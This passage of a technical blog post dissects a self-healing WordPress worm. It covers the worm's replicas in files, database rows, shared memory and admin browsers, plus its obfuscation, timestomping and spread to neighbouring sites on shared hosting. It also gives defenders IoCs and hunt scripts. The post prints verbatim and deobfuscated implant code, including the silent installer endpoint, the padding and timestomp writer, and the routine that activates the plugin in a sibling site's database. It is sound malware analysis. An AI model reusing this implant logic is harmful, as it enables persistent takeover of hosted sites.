I love WordPress. I truly do. It was the first thing I ever did that was even remotely
close to programming. Hence, to this day - even though there are way better,
more contemporary and sophisticated solutions out there, I still harness the
love for the CMS, which has helped me put bread on my table for the better part
of the last decade. So when Jump.bg reached out about a newly discovered type of WordPress
attack, sharing their concern that it might spread to more of their clients,
my first reaction was to help. I was driven by a genuine desire to assist
them, combined with my personal and professional fascination with tackling
such complex technical challenges.
Well, that one turned out to be way more interesting than I thought, hence - this
first ever article from me in such technical depth. So here goes.
It calls itself SCV:4.3.24 internally, and it is the most stubborn commodity
implant I have taken apart. It started off as SC 4.0.3 at the end of August, and
in two weeks only it substantially evolved.
Now for the stubbornness, it comes not from the obfuscation
(which is no more involved than in a lot of previous worms), but
because it refuses to die: delete every file it owns and it rebuilds itself from
the database, from shared memory, and - if you have logged into wp-admin from an
uncleaned browser - from the service worker running on your own laptop.
I got a couple of samples, and here goes the story of: how it hides, how it heals,
how it spreads to the sites next door not only on the same account but on the shared
hosting server (yeah, that thing again), and the exact order you have to
move in to kill it.
The whole mesh. I know it is complicated, but the worm's mechanics is.
Click any node for its function name and line reference.
The SC 4.3.24 behavioral mesh - six phases plus the kill chain.
The infection is a mesh, not a chain or a simple file upload.
There are nine redundant copies of the payload,
each able to rebuild the other eight. Three of them are not files: the
database, System V shared memory, and your admins' browsers. Full list in #7.
Every write is polymorphic - the file is padded with random hex up to a
randomly chosen total size between 5.5 MB and 7.0 MB, so file hashes are
worthless as IoCs. No two installations share a hash.
Every filename is derived from md5(ABSPATH + role), so names differ per
site but are fully computable by a defender. You can find the algorithm here.
It spreads laterally to every WordPress install writable by the same OS user
and activates itself on the neighbours by writing directly into their
databases, using credentials read from their wp-config.php.
C2 is resolved through Ethereum smart contracts (eth_call, selector
0x3bc5de30). There is no domain to sinkhole.
It survives file deletion via SysV shared memory and a CLI PHP daemon.
Cleanup that does not restart the PHP workers cannot succeed - and the malware
counts your deletion attempts, then stops fighting you for the rest of the day
so your cleanup looks like it worked. More on that in #6, it is nastier than it sounds.
So, it starts as a MU-plugin (surprise, surprise) - but to make it more interesting,
the plugin alias is disposable. The operator changes it per campaign. Do not
build detection on the alias.Build it on the naming algorithm #3 and the
structural markers. The fastest manual tell is a twin MU-plugin/plugin pair
with the same slug: wp-content/mu-plugins/elite-module-cue.phpandwp-content/plugins/elite-module-cue/elite-module-cue.php.
Here is the entire visible identity of the thing, and the boot guard, in one screen:
The header is a costume. Borrowed name, borrowed domain, a description dull
enough that nobody clicks it.
This is the same family as the publicly documented "SC 4.0.3," several builds
later. The differences that matter operationally: the 4.0.3 hash IoCs no longer
apply (everything is padded now), there are two extra storage nodes, and a
version-comparison boot guard means an older sample will refuse to overwrite a
newer one.
I want to get this out of the way early, because it is the question everybody asks
first and it is the least interesting thing here.
There is no exploit anywhere in this codebase. I went looking specifically: no
exec, no shell_exec, no system, no proc_open, no posix_*, no SUID tricks,
no privilege escalation, no CVE for anything. Not one. The implant cannot break
into a site. It has no idea how.
What it needs is one thing, from somewhere else entirely:
The ability to write a single PHP file into a directory where PHP will run it.
That is the entire entry cost. An out-of-date plugin with an arbitrary-file-write
bug. A stale core. A nulled theme off a warez site. A reused FTP password. A
wp-content sitting at 0777 because someone was debugging an upload problem in
2019 and never changed it back. Any one of those, on any one site, once.
Everything else described here - nine redundant copies, the kernel shared memory,
the service worker living in your browser, the sites next door falling over one by
one - is what happens after that single write lands. From that moment it needs
nothing further from the attacker. No second stage, no hands on keyboard, no
follow-up exploit. It bootstraps the rest by itself.
So the gap between "one forgotten plugin on one unimportant staging site" and
"every WordPress install this account can reach is owned, and so is your laptop"
is one file write. That asymmetry is the actual story. Every mechanism in
the rest of this piece sits on top of a completely ordinary
break-in - and it is also why hardening the entry point matters more than any
scanner you can buy.
I managed to recover the artifacts below, relative to wp-content/.
The eight-hex components are site-specific and derived per #3.
Artifact
Size
Role
mu-plugins/elite-module-cue.php
6.9 MB
Full core, auto-loaded
.sc_<hex>/core_<hex>.php
446 KB
Unpadded canonical core
plugins/elite-module-cue/…php
6.3 MB
Redundant twin
<hex>.php
191 KB
Visible loader (auto_prepend_file target)
db.php / advanced-cache.php / object-cache.php
-
Drop-ins, load before plugins
.wp-object-cache-<hex>.dat (+ .lkg)
170 KB
Compressed payload replica
<hex>.zip
126 KB
Payload replica
themes/<active>/functions.php
-
SC_TH_BEGIN…SC_TH_END block
Look at the two big ones: 6.9 MB and 6.3 MB. Same code, different size, different
hash. That is the padder doing its job (#7).
The only stable hash in the entire sample is the unpadded canonical core -
verified byte-identical across the hidden cache copy, the zip, and the gzip inside
the .dat:
... because every on-disk copy carries random padding.
But the file names are deterministic. Every artifact name is
md5(ABSPATH + role), truncated - where ABSPATH is WordPress's absolute install
path (always ending in /) and role is a fixed short string. A defender who
knows ABSPATH can compute every name the malware will use:
bash
# ── compute the malware's filenames yourself, from ABSPATH alone ──────────────# ABSPATH ends in '/'. md5_str = md5 of the concatenation.N_DIR=".sc_$(md5_str "${A}dir" | cut -c1-8)" # hidden staging dirN_CORE="core_$(md5_str "${A}core" | cut -c1-8).php" # unpadded canonical coreN_OPT=$(md5_str "${A}opt" | cut -c1-10) # DB option key (10 chars)N_HTL="$(md5_str "${A}htl" | cut -c1-8).php" # visible loaderN_LDR="$(md5_str "${A}ldr" | cut -c1-8).php" # hidden loader stubN_ZIP="$(md5_str "${A}zip" | cut -c1-8).zip" # zip replicaN_OC=$(md5_str "${A}oc" | cut -c1-8) # object-cache .dat suffix# roles observed: dir core g opt htl ldr zip inst oc own js wk
This is the single most useful defensive fact about the family. Feed it your
ABSPATH and you get an exact hunt list.
And it does not stop at filenames. There are two more derivations, and I have not
seen either published before. The first produces HTTP endpoints - actual URLs
your admins' browsers talk to:
php
// ── derived endpoint IDs - my naming ─────────────────────────────────────────function sc_derived_endpoint_id($role) { return (string) ( 91000000 + ( hexdec(substr(md5($site_root . 'ep' . $role), 0, 7)) % 8999999 ) );}// roles: 'sw' -> home_url('?p=<id>') serves the malicious service worker JS// 'inst' -> home_url('?p=<id>') where the browser POSTs C2 payloads
The result is always an eight-digit number between 91000000 and 99999998,
used as a WordPress post ID. A request to /?p=9XXXXXXX on a WordPress site is
as close to a zero-false-positive signal as you will ever get - nobody has
ninety-one million posts. And because you can compute the exact two IDs from
ABSPATH, you can grep them out of archived access logs and find out which
admin browsers got infected, and when, months after the files are gone.
The second produces database keys. Same idea as the filenames, one extra
ingredient:
Three things concatenated, hashed, truncated to twelve:
text
ABSPATH "/home/wpclient/public_html/" <- you know this+ the salt "93819" <- constant, every build+ the slot name "bu" <- one of fourteen= md5(...) 99f0f2a7d756... <- take the first 12
The salt is the same 93819 used for the forged timestamps in #7. One constant
unlocks both families, which is a gift: find a watermarked file, and you have
already got the number you need to compute every database key on the site.
Now the part that took me a while to appreciate. Those key names are never
stored anywhere. Not in a config row, not in an index, not in the code. Grep
the entire sample for 3401877c1abe and you get nothing - that string exists
only in memory, on that one site, for the few milliseconds it takes to run the
query. It is recomputed from scratch on every single call, because all three
ingredients are already lying around at runtime: ABSPATH is a constant
WordPress defined for it, 93819 is a literal in the code, and the slot name is
a string-table entry.
So there is no configuration to find and delete. There never was. And before
WordPress has booted - in the auto_prepend_file loader, where ABSPATH does
not exist yet - it just derives the path itself and carries on:
php
// ── my naming - opinionated, logic unchanged ─────────────────────────────────// No ABSPATH means WordPress hasn't bootstrapped, i.e. we really are running as// the auto_prepend_file. Walk up at most four levels looking for "wp-content".if (!defined('ABSPATH')) { $dirCursor = dirname(__FILE__); for ($i = 0; $i < 4; $i++) { if (basename($dirCursor) === 'wp-content') { $wpContentDir = $dirCursor; break; } $dirCursor = dirname($dirCursor); } // …and if advanced-cache.php carries our markers, switch WP_CACHE on so // WordPress loads that drop-in later in this same request. if (!defined('WP_CACHE') || !WP_CACHE) { $head = (string) file_get_contents($wpContentDir . '/advanced-cache.php', false, null, 0, 8192); if (strpos($head, 'SC_ADV_BEGIN:') !== false || strpos($head, '/* SCV:') !== false) { @define('WP_CACHE', true); } }
Sit with what the key is derived from: your own install path. Something
completely public to anyone on the box. The XOR-with-a-random-byte on the values
protects nothing - byte zero is the key, stored in clear. It exists so the
value does not look like text when you scroll past it. The real hiding is in the
names, and the names are only hidden from someone who does not know ABSPATH -
which is nobody with access to the server.
It is symmetric by construction. They compute; you compute.
One observable falls out of that. Move an infected site to a different path
and every derived name changes, so the implant silently orphans its own state
and starts writing a fresh set. Hex-named rows that do not match your current
ABSPATH therefore mean the site was migrated while infected - worth knowing,
because the service worker URL in those orphaned rows is still registered in
somebody's browser.
The slot names are fixed. There are fourteen, and all of them are in the code:
text
sw_url sw_cached sw_config sw_config_sig srv_key page_cachedjs_cached src issued bp bu ic errors …plus the empty name
So the whole keyspace is fourteen md5() calls. You are not searching for these
rows, you are computing them:
bash
A="/home/wpclient/public_html/"for n in sw_url sw_cached sw_config sw_config_sig srv_key page_cached \ js_cached src issued bp bu ic errors ""; do printf '%-14s %s\n' "${n:-(empty)}" \ "$(printf '%s' "${A}93819${n}" | md5sum | cut -c1-12)"done
Paste that list into an IN (...) and you have every implant row in the options
table, by name, before you have looked at a single value.
Values are wrapped in a trivial codec - a random key byte, prepended, XORed over
the serialised value, base64'd:
php
// ── my naming - opinionated, logic unchanged ─────────────────────────────────$serialised = serialize($value);$k = chr(mt_rand(1, 255)); // one random byte, stored in clear$out = '';for ($i = 0; $i < strlen($serialised); $i++) { $out .= chr(ord($serialised[$i]) ^ ord($k));}update_option($optionName, base64_encode($k . $out), 'no');
Which means you can decode one in your head, near enough. Base64-decode, take
byte 0, XOR everything after it by that byte. If bytes 1 and 2 come out as s:
or a: you have a PHP serialised string or array and you have got it right.
And look at what the slot names are hiding. sw_cached is the actual JavaScript
being served to your administrators. issued is which of them currently hold
forged 14-day sessions, and until when.
Write that down, because here is the trap: neither of those rows starts with
sc_. Every cleanup script I have seen, including the first version of mine,
does DELETE FROM wp_options WHERE option_name LIKE 'sc\_%' and destroys the two
most valuable pieces of evidence on the entire system.
Here is what they look like in a real dump. Scroll a compromised wp_options
table and you will find rows like this scattered among the legitimate ones.
On the sample data. These rows come from a real infection. I swapped the
site's identifiers - the install path, the hostname, the generated account and
its password - and re-encoded the values so they still decode correctly
under the malware's own codec. The structure, the algorithm and the lengths are
untouched.
Twelve hex characters, every time. That is the tell - md5(...) truncated to 12 -
and it is why they look like WordPress transient garbage and get skipped.
Run the codec over them and they stop being garbage:
The first is the service-worker URL (#9). The second and third are a hidden
administrator account and its password, sitting in the options table in
reversible form - so the operator can re-read their own backdoor credentials from
any site they own, and so can you. The fourth is a configuration signature.
And look at 4849e89f424c, which is not even encoded:
text
4.3.24|php.euc-eludom-etile
Read it backwards: elite-module-cue.php. The implant stores its own filename
reversed so that an administrator grepping the database for the plugin slug
they just found on disk gets no hits. It is the same instinct as 'S' . 'ELECT'
and INSE\x52T from #7 and #8 - simple but effective against every tool
that looks for literals.
Every protected file uses the same three-part scheme: a string table built by
array_merge(...), a decoder implementing a monoalphabetic substitution over two
alphabets, and identity wrappers so call sites vary.
A note on the code in this article. From here on you will see a lot of
paired listings, and each half is labelled. obfuscated - the original code is
verbatim from the sample - byte for byte, including the ugly whitespace.
my naming is the same code made readable: I resolved the string table,
folded the arithmetic-obfuscated constants back into plain numbers, and
renamed every function and variable. The name says "my" because that half
is opinionated - it is my reading of what the code is for, not a canonical
decompilation, and somebody else would have picked different words.
The malware's own identifiers look like $w57a0qwglejqfen and
g4q1a7y9nv85k88 and carry no meaning whatsoever, so I gave them names that
describe what they actually do. The logic, the constants
and the control flow are unchanged - nothing added, nothing removed, nothing
"cleaned up" into something it wasn't. Where the original does something
genuinely odd (in my opinion), the readable version does it too.
Here is a real one, from the installer sample. The table and the decoder live on
the same line of the file, about 2 KB apart - which is not an accident:
php
// ── obfuscated - the original code ───────────────────────────────────────────if(!function_exists('x3i7vsi4g1usrb')){function pd_m09rpskzqv2f($i){ static $a=null; if($a===null){$a=array_merge( array('ztk(l${k_Tb$RlR','$R_RlS$kN','RlS?Tk','rSTN_STr?<(T','$R_RlS$kN', 'ztk(l${k_Tb$RlR','ztk(l${k_Tb$RlR',':l_S<kg','z$?TR$}T','g$Sk<:T', '$R_$kl','z$?T:l$:T','z$?T_NTl_({klTklR','RtLRlS','SlS$:', …/* …~2 KB further right, still the same line… */function x3i7vsi4g1usrb($i){ $e=pd_m09rpskzqv2f($i); $f='_scu'.'np/'.'(\\r'.'?*['.'0-9a'.'f]'.'{1,'.'})+$'.'dtem'.'ilok'.'h>b' .'yv<g'.'TOK'.'EN'.'PARS'.'qWM'.'ULGI'.'D.'.' C'.'V:='.'BHw'.'XY'.'Zz'.'64x2'.'j53'; $t='_R(t'.'krW'.'h>Sw'.' G='.'y]<'.'ze'.'60/'.'9c'.'-vgl'.'T:$'.'?{[3'.'1LA+' .'pN'.'DiUj'.'dCO)'.'EPq'.'mu'.'Knx'.'M2I'.',5B*'.'4.'.'HZaX'.'}\\'.'fbsV'.'Yo'; $r=""; for($j=0;$j<strlen($e);$j++){ $p=strpos($t,$e[$j]); $r.=($p===false)?$e[$j]:$f[$p]; } return $r;}function p4c9ocir6($i){$j=$i+0;return x3i7vsi4g1usrb($j);} // identity wrappers,function verm9qqqud6($i){$j=$i+0;return x3i7vsi4g1usrb($j);} // so no single namefunction q4xsfzqmac($i){return x3i7vsi4g1usrb($i);} // dominates the graph// ── my naming - the same code, opinionated identifiers ───────────────────────function sc_string_table($index) { static $table = null; if ($table === null) $table = array(/* ~2,500 substitution-ciphered strings */); return $table[$index];}function sc_decode($index) { $ciphered = sc_string_table($index); $plainAlphabet = '_scunp/(\r?*[0-9af]{1,})+$dtemilokh>byv<gTOKENPARSqWMULGID. CV:=BHwXYZz64x2j53'; $cipherAlphabet = '_R(tkrWh>Sw G=y]<ze60/9c-vglT:$?{[31LA+pNDiUjdCO)EPqmuKnxM2I,5B*4.HZaX}\fbsVYo'; $out = ''; for ($i = 0; $i < strlen($ciphered); $i++) { $pos = strpos($cipherAlphabet, $ciphered[$i]); $out .= ($pos === false) ? $ciphered[$i] : $plainAlphabet[$pos]; // first match wins } return $out;}
Both alphabets are split into four-character chunks purely so that grepping for a
recognisable alphabet finds nothing. Two things you must get right if you
re-implement it: strpos returns the first match, so if a character appears
twice in $t the first wins; and characters not in $t pass through unchanged.
Run it by hand on table entry 0, ztk(l${k_Tb$RlR, and out comes function_exists.
Now the payoff:
php
// ── obfuscated - the original code ───────────────────────────────────────────if (!q4xsfzqmac(0)('_sc_unp')) {function _sc_unp($w57a0qwglejqfen) { if (!x3i7vsi4g1usrb(1)($w57a0qwglejqfen) || p4c9ocir6(2)($w57a0qwglejqfen) <= (1048571+5)) return $w57a0qwglejqfen; $devwjbvsyfg51ppp = q4xsfzqmac(3)('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/', "", $w57a0qwglejqfen); return verm9qqqud6(4)($devwjbvsyfg51ppp) ? $devwjbvsyfg51ppp : $w57a0qwglejqfen;}// ── my naming - the same code, opinionated identifiers ───────────────────────if (!function_exists('sc_strip_padding')) {function sc_strip_padding($source) { if (!is_string($source) || strlen($source) <= 1048576) // under 1 MB, can't be padded return $source; $stripped = preg_replace('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/', '', $source); return is_string($stripped) ? $stripped : $source;}
Four table lookups become function_exists, is_string, strlen and
preg_replace. Note what happened to the call sites: q4xsfzqmac(0)('_sc_unp')
is not a string lookup, it is a dynamic call - PHP will happily invoke a
function whose name arrives as a string, so the entire standard library is reachable
by table index and not one library function name appears anywhere in the file.
And notice (1048571+5). It never writes 1048576. Every numeric constant in the
whole codebase is an arithmetic expression, so a scanner hunting for 1048576 or
93819 or 0644 comes back empty. Folding those is a second mechanical pass, and
it is the difference between "decoded" and "actually readable".
0x288eef6 + 0x2e39dca is 91000000. 0x4+0x3 is 7. 4830688+4169311 is 8999999.
That middle block is the one I want you to look at, because it is what most
"deobfuscated" malware dumps actually look like - the strings are back, and you
still cannot read a line of it.
It is fully reversible statically - hence even workable with an LLM. A generic
deobfuscator that locates every decoder by the $e/$f/$t idiom, rebuilds the
substitution map, and rewrites every W(n) call site resolved 5,547 call sites
with 0 unresolved across a 2,557-entry table on this sample. The obfuscation is
a speed bump, not a wall.
What it does buy the operator is real, though, and worth saying out loud: the
strings eval, base64_decode, shell_exec, system and preg_replace appear
nowhere in the file. Every signature scanner that works by grepping for
known-bad function names sees a clean file. That is the entire purpose.
Here is where the design turns nasty. On every HTTP request the payload gets five
independent chances to run, starting even before WordPress boots.
Five entry points, from auto_prepend_file to the plugin twin, converging on the boot guard.
Pre-WordPress - .htaccess sets php_value auto_prepend_file to the
visible loader; on PHP-FPM it uses a .user.ini variant. This runs before a
single line of WordPress.
wp-config.php - a define('WP_CACHE', true); /* SC_WC */ pulls in
advanced-cache.php (marker SC_ADV_BEGIN) before any plugin.
db.php - the WordPress DB drop-in, loaded before MU-plugins.
object-cache.php - reads the hidden .dat replica.
MU-plugin core + plugin twin + theme functions.php block - the
auto-loaded MU-plugin cannot be deactivated from the admin.
All five converge on a boot guard keyed on SC_CORE_BOOT_VER /
sc_boot_ver: only the highest-version replica initializes; the rest no-op. That
is what frustrates "reinstall an old sample to study it" - the live copy wins.
There is a sixth entry point that is not on the list because it is not a file:
?p=<derived id>, handled at the very top of the MU-plugin, at file scope,
not on a hook. It answers before WordPress can route the request:
php
// ── my naming - opinionated; logic and constants unchanged ───────────────────function sc_handle_p_param_endpoints() { if (!isset($_GET['p']) || !is_string($_GET['p'])) return; if ($_GET['p'] === sc_derived_endpoint_id('inst')) { $installerPath = $cacheDir . '/' . substr(md5(ABSPATH . 'inst'), 0, 8) . '.php'; if (filesize($installerPath) > 500 && filesize($installerPath) <= 5242880) { include $installerPath; // run it for the side effects } while (ob_get_level() > 0 && @ob_end_clean()) {} // swallow anything it printed header('HTTP/1.1 404 Not Found'); exit; } // …the 'sw' branch serves the service worker JavaScript, #9}sc_handle_p_param_endpoints(); // called immediately, not hooked
That ob_end_clean() loop is the tell. It runs the installer, then deliberately
throws away every byte the installer printed, and hands the caller a clean 404.
Whatever happened, happened silently.
Once the core is active, the request is served normally (no visible symptom), then
fastcgi_finish_request() + ignore_user_abort() hand the visitor their page
while the malware keeps the CPU. In that detached tail it runs a health map
(sc_build_health_map, L2205) covering every node - drop-ins, loaders, the
MU/plugin twin, the theme block, the guard heartbeat, the service worker - and
rebuilds whatever is missing.
Steady state: detach the response, build the health map, heal missing nodes, keep the guard daemon alive.
And it counts your deletion attempts in sc_reins_*, logged internally as
tug_of_war (L7302). I originally read that as telemetry. It is not. Look:
php
// ── my naming. in the original, the two 3s are (0x1+0x2) and (196^199) ───────function sc_reinstall_allowed($key) { // consulted BEFORE each rewrite $rec = @get_option('sc_reins_' . $key, ""); // format: "<day>|<count>" if (is_string($rec) && strpos($rec, '|') !== false) { $parts = explode('|', $rec, 2); if ((int) $parts[0] === (int)(time() / 86400) && (int) $parts[1] >= 3) return false; } return true;}function sc_reinstall_count_tick($key) { // … @update_option('sc_reins_' . $key, $today . '|' . $count, 'no'); if ($count >= 3) sc_record_error('dropin', 'tug_of_war ' . $key);}
Three per drop-in per day, and sc_reinstall_allowed() gates the rewrite. So:
Delete the same drop-in three times in one day and it stops coming back - until
midnight UTC. Your cleanup looks like it worked. It did not. The counter resets
and the file returns.
If you have ever cleaned a WordPress site, gone home happy, and found it dirty the
next morning, this is a very good candidate for why.
You can read the scoreboard straight out of the options table:
text
sc_reins_adv 20700|2 <- advanced-cache.php rebuilt twice todaysc_reins_db 20700|2 <- db.php rebuilt twice todaysc_reins_oc 20700|1 <- object-cache.php oncesc_ini_fail 3 <- .user.ini write failed three times…sc_ini_dead 1788509859 <- …so the circuit breaker opened, 24h agosc_ht_fail 1sc_fetch_fails 5 <- C2 unreachable five times
20700 is the day number. Two of the three drop-ins are one rebuild away from the
cap - somebody was deleting them. And sc_ini_dead being set means the implant
broke that site badly enough that its own canary refused the write and it gave up
on .user.ini persistence for the day. Sure enough, the same table carries
WordPress's recovery_mode_email_last_sent from around the same window: the site
had been fataling.
That is the whole argument for reading these rows before you delete them. They are
a timeline of the fight, written by the other side.
A separate CLI PHP daemon (sc_install_guard_daemon, L7434) is spawned via
include_once and kept alive by a heartbeat (sc_is_guard_alive, L9956); an
hourly loopback cron fires even with zero visitors. The daemon lives in process
memory, not in a file - remember that for #10.
Do not go looking for those cron jobs by name, though. Here is the real
cron option from an infected site, cleaned up:
Four implant jobs sitting in the same array as WordPress's own. Two of them are
named sc_* and two are not - zvdcgmrr7smxjwpo_ky and
e1pw88l550vjcok7s5pcd are per-build random strings. So the obvious
SELECT ... WHERE option_value LIKE '%sc\_cron%' finds half the cron persistence
and leaves the hourly rebuild running. Read the whole cron array and treat
any hook name you cannot attribute to an installed plugin as hostile.
Note there is no exec() anywhere in this. The daemon is spawned by including a
PHP file that forks and detaches itself, which is why disable_functions=exec, shell_exec,system does exactly nothing here - and why popen and proc_open
belong on that list instead.
The guard keeps a little family of state files, all suffixed md5(ABSPATH.'g')[0:8],
and they are among the most useful things on a compromised box:
File
Holds
Why you care
.g_<hex>.php
the guard script
the daemon itself
.gl_<hex>
mtime only
heartbeat; under 4 min = alive
.gm_<hex>
md5 of the guard
tamper pin - hash mismatch and it deletes rather than runs
This is the part that trips everyone up, so let me lay out all nine copies
explicitly. Six are files. Three are not.
#
Node
File?
Form
1
mu-plugins/<slug>.php
yes
padded core
2
plugins/<slug>/<slug>.php
yes
padded twin
3
.sc_<hex>/core_<hex>.php
yes
unpadded canonical core
4
<hex>.zip
yes
zip replica, byte-identical core
5
.wp-object-cache-<hex>.dat + .lkg
yes
SCD1:<ver>:<md5>: + base64(gzip)
6
wp-content/<htl>.php
yes
visible loader, ~168 KB gzip template embedded
7
wp_options row md5(ABSPATH+opt)[0:10]
no
base64(gzip(core))
8
SysV shared memory, ftok(wp-config.php)
no
SCSHM1:<len>:<sha256> + bytes
9
The service worker in an admin's browser
no
not even on your machine
The three drop-ins (db.php, advanced-cache.php, object-cache.php) and the
theme block are not on this list on purpose - they are execution entry points and
healers (#5), not copies of the payload. They know how to fetch it; they do not
contain it.
When any node needs its bytes back, sc_recover_source_bytes (L7603) walks a
seven-tier fallback across those nine nodes:
The source-recovery chain. Tiers 5 (shared memory) and 2 (database) survive deletion of every file.
Its own file, padding stripped (sc_strip_own_padding, L7742) - nodes 1, 2, 6
The DB option md5(ABSPATH+opt) - node 7, base64 + gzip (the older
write-ups say XOR here; there is no XOR on this row, I checked)
.sc_<hex>/core_<hex>.php - node 3
.wp-object-cache-<hex>.dat and its .lkg - node 5
SysV shared memory, keyed with ftok(wp-config.php), header SCSHM1
(sc_shm_recover, L7193) - node 8, survives all file deletion
<hex>.zip - node 4
A fresh download from C2 - fed by node 9
Node 9 never appears in that walk because it works the other way round: the browser
does not give the server bytes, it uploads them through your own admin session (#9).
Whatever tier wins, the recovered bytes go back out through the anti-forensic writer.
This is the real code, folded to readable literals:
php
// ── the polymorphic write, my naming. why hashes are useless here. ───────────// obfuscated, the first line reads:// (3924903+1575097) + oiq0havtj(1161)(0,(2684922-1184922))// mt_rand() itself is behind a table index, and both bounds are sums.$targetSize = 5500000 + mt_rand(0, 1500000); // 5.5-7.0 MB, chosen per writeif (strlen($content) >= $targetSize) return $content;if (substr(rtrim($content), -2) === '?>') return $content; // don't break the pagewhile (strlen($content) < $targetSize - 4100) { $hexChunk = bin2hex(random_bytes(2000)); // 4000 hex chars per block $content .= "\n/*" . $hexChunk . '*/';}
php
// …and it only pads when the account can afford it - filling a shared host's// quota gets the account suspended, which would kill the infection.$free = @disk_free_space($dir);if ($free !== false && $free >= 157286400) $paddingEnabled = true; // 150 MiBif (!$paddingEnabled) { @update_option('sc_pad_off_ts', time(), 'no'); // remember, and stay off} elseif (time() - (int) get_option('sc_pad_off_ts', 0) < 86400) { $paddingEnabled = false; // …for a full day}
php
// ── atomic write + timestomp - my naming ─────────────────────────────────────// the writer: tempnam() -> write -> rename(), so the file is never seen half-written// then the mtime is forced onto a fixed residue, and the file goes chmod 0444function sc_timestomp_file($path) { $t = sc_choose_timestomp_time(); return touch($path, ($t - ($t % 100000)) + 93819); // raw: (99964+36) and (93723+96)}
Two takeaways. First, the size band is an IoC even though the hash is not:
every padded node lands between 5.5 and 7.0 MB, which is why the sample's two big
copies are 6.9 and 6.3 MB. find wp-content -name '*.php' -size +5000k -size -7100k
is a thirty-second first sweep.
Second, the forged-timestamp tell is worth memorizing: any file whose
mtime % 100000 == 93819 is suspect. One line finds them all:
Both of those show up in the database too. The implant keeps its own file
inventory in sc_persist_manifest, and it is the cleanest confirmation of the
timestomp you will ever get:
1788593819 % 100000 = 93819. 1605193819 % 100000 = 93819. But look at
the second one again: 1605193819 is November 2020. It does not just set the
residue - it backdates the drop-in by five years, so db.php looks like it has
been sitting there since the site was built. The file you would least suspect is
the one it aged the most.
But node 8 is the one that matters. Shared memory is in the kernel, not the
filesystem - you can rm every file on the account and the next request rebuilds
all of them from RAM. Nothing you do on disk can clear it. Only restarting the
PHP pool can.
The spread routine (sc_spread_to_other_sites, L5916) is throttled by the
sc_spread_interval transient, then it maps the blast radius from the very
sandbox meant to contain it:
Lateral spread: enumerate WordPress roots, then activate the payload in a sibling's own database.
sc_build_candidate_roots (L5778) assembles a root list from dirname(ABSPATH)
walked up three levels, the usual hosting roots (/home, /var/www,
/var/www/vhosts, /srv/users, …), plus every entry in open_basedir - the
jail becomes its own map. sc_scan_for_wp_roots (L5730) then does a depth-2
scandir (500 entries per dir, 10-second budget); any directory containing
wp-admin/ is a WordPress root.
For each sibling it does not already own (sc_target_already_infected, L5859), it
prefers to write a padded copy into that site's mu-plugins/ (auto-loads, no DB
row, hidden from the Plugins screen). And the ownership test is the softest thing
in the entire implant:
php
// ── the entire "is this site already mine?" check - my naming ────────────────foreach (array($root.'/wp-content/mu-plugins', $root.'/wp-content/plugins') as $dir) { foreach (scandir($dir) as $entry) { if (substr($entry, -4) === '.php' && (filemtime("$dir/$entry") % 100000) === 93819 && filesize("$dir/$entry") >= 5000) return true; // owned, skip this site }}
No content check. No signature. No handshake. It trusts its own timestamp
watermark as proof of ownership. Which means an inert, commented, 5 KB PHP file
with the right mtime makes a clean site invisible to the worm - both the MU-plugin
write and the plugin-directory write, and therefore also the database activation
below, which only runs after a successful plugin-directory write. Two minutes of
work per server buys you containment while you do the real cleanup. It is not a
cure and the next build can trivially add a content check, but right now it holds.
The genuinely novel move is remote activation (sc_remote_activate_plugin,
L6057): rather than wait for the sibling to run its own code, it reads the
neighbour's wp-config.php, opens their database with its ownwpdb handle on
the shared MySQL account, and writes the plugin into their active_plugins
directly. Here it is raw and then resolved - same lines, same file:
php
// ── obfuscated - the original code ───────────────────────────────────────────$wpdb->query(oiq0havtj(1327));$dqvbhbpp_kyfqty = $wpdb->get_var('S' . g4q1a7y9nv85k88(1328) . $y6qc8_bzwcjdcdn . oiq0havtj(1329) . vpm16ghycg(1330) . oiq0havtj(1331));if ($dqvbhbpp_kyfqty === null) {$mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86;$wpdb->query(r_o1os1s6vg8j(1332));// ── after pass 1: string table resolved ──────────────────────────────────────$wpdb->query('START TRANSACTION');$dqvbhbpp_kyfqty = $wpdb->get_var('S' . 'ELECT option_value FROM ' . $y6qc8_bzwcjdcdn . ' WHERE option_name = ' . '\'active_plugins\'' . ' LIMIT 1 FOR UPDATE');if ($dqvbhbpp_kyfqty === null) {$mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86;$wpdb->query('ROLLBACK');
Two details worth pausing on. The 'S' . 'ELECT' split is not in the table at all -
the S is a bare literal and ELECT option_value FROM is table entry 1328, so
the keyword is broken across the table boundary. Any WAF or scanner rule
matching SELECT ... FROM as text is defeated by one character. And
$mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86; is pure decoy arithmetic: both
variables are assigned and never read again. The file is full of it, and stripping
it is the third pass.
Here is the same routine with everything renamed - this is what it does:
php
// ── my naming - the same routine, end to end ─────────────────────────────────preg_match('/define\s*\(\s*[\'"]DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]/', $siblingConfig, $m);preg_match('/table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/', $siblingConfig, $m2);if (!preg_match('/^[a-zA-Z0-9_]+$/', $tablePrefix)) return; // whitelist the identifierif (!preg_match('/^[a-zA-Z0-9_$-]+$/', $dbName)) return; // …because you can't bind it$optionsTable = '`' . $dbName . '`.`' . $tablePrefix . 'options`';$wpdb->query('START TRANSACTION');$row = $wpdb->get_var("SELECT option_value FROM $optionsTable WHERE option_name = 'active_plugins' LIMIT 1 FOR UPDATE");$active = unserialize($row, array('allowed_classes' => false)); // object-injection safeif (in_array($slug, $active, true)) { $wpdb->query('COMMIT'); return; }$active[] = $slug;$wpdb->query($wpdb->prepare("UPDATE $optionsTable SET option_value = %s WHERE option_name = 'active_plugins'", serialize($active)));$wpdb->query('COMMIT');
The write is defensive, which matters when you are cleaning: it whitelists the
identifiers it cannot parameterise, it takes a row lock so it cannot corrupt
active_plugins if a real admin is activating a plugin at the same moment, and it
deserialises with allowed_classes => false to avoid PHP object injection -
against itself. (author's note: this is way better compared to most of the
production WordPress code I've ever seen)
Then it timestomps and chmod 0444s the new copy. A freshly infected sibling
boots and builds its own full mesh under itsABSPATH-derived names - so
the names differ per site while the algorithm stays constant.
And now the number everybody gets wrong, including me in my first pass:
php
if ($infected_count > 0) { set_transient('sc_spread_interval', 1, 259200); } // 72 helse { set_transient('sc_spread_interval', 1, 3600); } // 1 h
Seventy-two hours after it succeeds, one hour after it finds nothing. Think about
